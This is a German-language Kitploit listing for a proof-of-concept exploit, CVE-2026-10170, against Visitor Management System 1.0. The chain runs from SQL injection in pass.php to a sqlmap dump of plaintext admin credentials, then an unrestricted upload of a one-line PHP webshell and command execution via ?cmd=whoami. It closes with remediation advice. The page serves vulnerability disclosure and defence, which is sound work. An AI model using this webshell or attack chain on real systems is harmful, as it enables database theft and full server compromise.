Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-10170-RCE — Proof-of-Concept, das SQL-Injection und uneingeschränkten Datei-Upload kombiniert, um Remote-Code-Ausführung im Visitor Management System 1.0 zu erreichen, einschließlich Schritt-für-Schritt-Anleitung zur Ausnutzung und Behebungsempfehlungen. | Kitploit
Tools/GitHubGitHub/xmyronn/cve-2026-10170-rce
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPayload-Entwicklung
GitHubxmyronn/cve-2026-10170-rce

CVE-2026-10170-RCE

Proof-of-Concept, das SQL-Injection und uneingeschränkten Datei-Upload kombiniert, um Remote-Code-Ausführung im Visitor Management System 1.0 zu erreichen, einschließlich Schritt-für-Schritt-Anleitung zur Ausnutzung und Behebungsempfehlungen.

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Visitor Management System 1.0 – SQLi zu Remote Code Execution (Angriffskette)

Schwachstelleninformationen

FeldDetails
ProduktVisitor Management System
Anbietercode-projects.org
Version1.0
SchwachstellenklassenSQL-Injection (CWE-89) + Unbeschränkter Datei-Upload (CWE-434)
CVE-IDAusstehend
CVSS-Score9.8 Kritisch (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Erforderliche AuthentifizierungNiedrige Berechtigung (Guard-Konto) als Einstiegspunkt
Betroffene Dateien/vms/php/pass.php, /vms/php/admin_user_0.php
Verwundbarer Parameterphone (POST)

Beschreibung

Das Visitor Management System 1.0 von code-projects.org ist anfällig für eine kritische Angriffskette, die SQL-Injection und unbeschränkten Datei-Upload kombiniert und zu Remote Code Execution führt.

Ein Angreifer mit Zugriff auf ein Konto mit niedrigen Berechtigungen (Guard-Konto) kann eine SQL-Injection-Schwachstelle in pass.php über den POST-Parameter phone ausnutzen, um die gesamte Datenbank auszulesen – einschließlich der Klartext-Administrator-Anmeldedaten. Mit den extrahierten Anmeldedaten kann sich der Angreifer als Administrator authentifizieren und anschließend über das Admin-Benutzerverwaltungs-Panel (admin_user_0.php) eine PHP-Webshell hochladen, da dort keinerlei Dateityp- oder Erweiterungsprüfung durchgeführt wird. Die hochgeladene Webshell wird in einem webbasiert zugänglichen Verzeichnis gespeichert und kann direkt über eine URL ausgeführt werden, was zu vollständiger Remote Code Execution auf dem Server führt.

Zusätzlich werden Passwörter im Klartext in der Datenbank gespeichert, sodass nach dem SQLi-Dump kein Entschlüsselungsschritt erforderlich ist.


Übersicht der Angriffskette

root@kitploit:~
Guard-Login mit niedrigen Berechtigungen
        ↓
SQL-Injection in pass.php (phone-Parameter)
        ↓
sqlmap-Dump → Klartext-Administrator-Anmeldedaten extrahiert
        ↓
Login als Administrator (sanjay1:7861)
        ↓
Unbeschränkter Datei-Upload in admin_user_0.php
        ↓
PHP-Webshell hochgeladen nach /vms/php/folder/
        ↓
RCE über ?cmd=whoami → vollständige Server-Kompromittierung

Schritt-für-Schritt-Proof-of-Concept

Schritt 1 – Login als Benutzer mit niedrigen Berechtigungen (Guard)

Navigieren Sie zur VMS-Anwendung und melden Sie sich mit den Guard-Anmeldedaten an. Nach dem Login navigieren Sie zur Telefonnummern-Seite:

root@kitploit:~
http://<TARGET>/vms/php/phone_0.php
Screenshot 2026-05-05 034206

Schritt 2 – SQL-Injection in pass.php bestätigen

Übermitteln Sie ein einzelnes Anführungszeichen ' als Wert für die Telefonnummer. Die Anwendung wirft einen schwerwiegenden MariaDB-Fehler, der die rohe Abfrage und den Dateipfad offenlegt:

root@kitploit:~
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the right 
syntax to use near '2026-05-05'' at line 1 in 
C:\xampp\htdocs\vms\php\pass.php:9
Stack trace:
#0 C:\xampp\htdocs\vms\php\pass.php(9): mysqli_query(Object(mysqli), 'select * from i...')

Betroffene Datei: pass.php Zeile 9
Verwundbarer Parameter: phone (POST)

Screenshot 2026-05-05 034215

SQL-Fehler Screenshot 2026-05-05 034228


Schritt 3 – SQLi mit sqlmap ausnutzen

Speichern Sie die in Burp Suite aufgezeichnete Anfrage in einer Datei (sqli.txt) und führen Sie sqlmap aus:

root@kitploit:~
sqlmap -r sqli.txt --dump --batch

sqlmap liest erfolgreich die Tabelle login_user aus der Datenbank vms aus und offenbart Klartext-Anmeldedaten für alle Benutzer:

root@kitploit:~
Database: vms
Table: login_user
[2 entries]
+----+---------+------------+---------+-------+--------+----------+-----------+
| id | image   | phone      | name    | user  | gender | password | username  |
+----+---------+------------+---------+-------+--------+----------+-----------+
| 1  | <blank> | 8146905071 | sanjay  | guard | male   | 786      | sanjay123 |
| 2  | <blank> | 8146905071 | sanjay1 | admin | male   | 7861     | sanjay1   |
+----+---------+------------+---------+-------+--------+----------+-----------+

Hinweis: Passwörter werden im Klartext gespeichert – kein Hash-Knacken erforderlich.

Screenshot 2026-05-05 034316

Schritt 4 – Login als Administrator

Melden Sie sich mit den extrahierten Administrator-Anmeldedaten im Admin-Panel an:

root@kitploit:~
Benutzername: sanjay1
Passwort: 7861

Das vollständige Admin-Dashboard ist nun zugänglich, einschließlich der Verwaltung von Mitarbeitern, Abteilungen, Admin-Benutzern und Berichten.

Screenshot 2026-05-05 034353

Schritt 5 – PHP-Webshell über das Admin-Benutzer-Panel hochladen

Navigieren Sie zur Admin-Benutzerverwaltungsseite:

root@kitploit:~
http://<TARGET>/vms/php/admin_user_0.php

Die Seite enthält ein Datei-Upload-Feld für ein Profilbild. Die Anwendung führt keine Dateitypprüfung, keine Erweiterungsfilterung und keine MIME-Typ-Prüfung durch.

Füllen Sie das Formular mit beliebigen Werten aus und laden Sie die folgende PHP-Webshell als Bilddatei hoch (web2_command.php):

root@kitploit:~
<?php echo shell_exec($_GET['cmd']); ?>
Screenshot 2026-05-05 034416

Schritt 6 – Webshell-Upload bestätigen

Navigieren Sie zur Admin-Benutzeranzeigeseite:

root@kitploit:~
http://<TARGET>/vms/php/admin_display_0.php

Das neu erstellte Admin-Konto ist in der Tabelle sichtbar. Die hochgeladene Webshell wird gespeichert unter:

root@kitploit:~
http://<TARGET>/vms/php/folder/web2_command.php
Screenshot 2026-05-05 034429

Schritt 7 – Remote Code Execution

Führen Sie beliebige Systembefehle über die Webshell aus:

root@kitploit:~
http://<TARGET>/vms/php/folder/web2_command.php?cmd=whoami

Ergebnis: Der Server gibt den aktuellen Systembenutzer zurück und bestätigt damit vollständige Remote Code Execution:

root@kitploit:~
desktop-g1i9np3\dell
Screenshot 2026-05-05 034438

Auswirkungen

  • Vollständige Datenbank-Kompromittierung – alle Tabellen werden über SQLi ausgelesen, einschließlich Klartext-Anmeldedaten
  • Übernahme des Admin-Kontos – Klartext-Passwörter erfordern kein Knacken
  • Remote Code Execution – beliebige Betriebssystembefehle werden als Webserver-Benutzer ausgeführt
  • Vollständige Server-Kompromittierung – vollständige Kontrolle über den zugrunde liegenden Host
  • Klartext-Passwortspeicherung – verstärkt die SQLi-Auswirkungen, Anmeldedaten sind sofort nutzbar

Zusammenfassung der betroffenen Dateien

DateiSchwachstelle
/vms/php/pass.phpSQL-Injection über den POST-Parameter phone
/vms/php/admin_user_0.phpUnbeschränkter Datei-Upload – keine Erweiterungs- oder MIME-Prüfung
/vms/php/folder/Webshell-Speicherverzeichnis – webbasiert zugänglich, keine Einschränkungen

Behebung

Für SQL-Injection:

root@kitploit:~
$stmt = $conn->prepare("SELECT * FROM login_user WHERE phone = ?");
$stmt->bind_param("s", $phone);
$stmt->execute();

Für Datei-Upload:

  • Whitelist für zulässige Erweiterungen (nur jpg, png, gif)
  • MIME-Typ serverseitig validieren
  • Uploads außerhalb des Webroots speichern
  • Hochgeladene Dateien in zufällige Zeichenfolgen umbenennen

Für Passwortspeicherung:

  • password_hash() und password_verify() verwenden – niemals Klartext speichern

Referenzen

  • Anbieter-Homepage
  • CWE-89: SQL Injection
  • CWE-434: Unrestricted Upload of File with Dangerous Type
  • OWASP File Upload Cheat Sheet

Entdecker

  • Forscher: Imad Alvi
  • VulDB: imad alvi
Tool herunterladen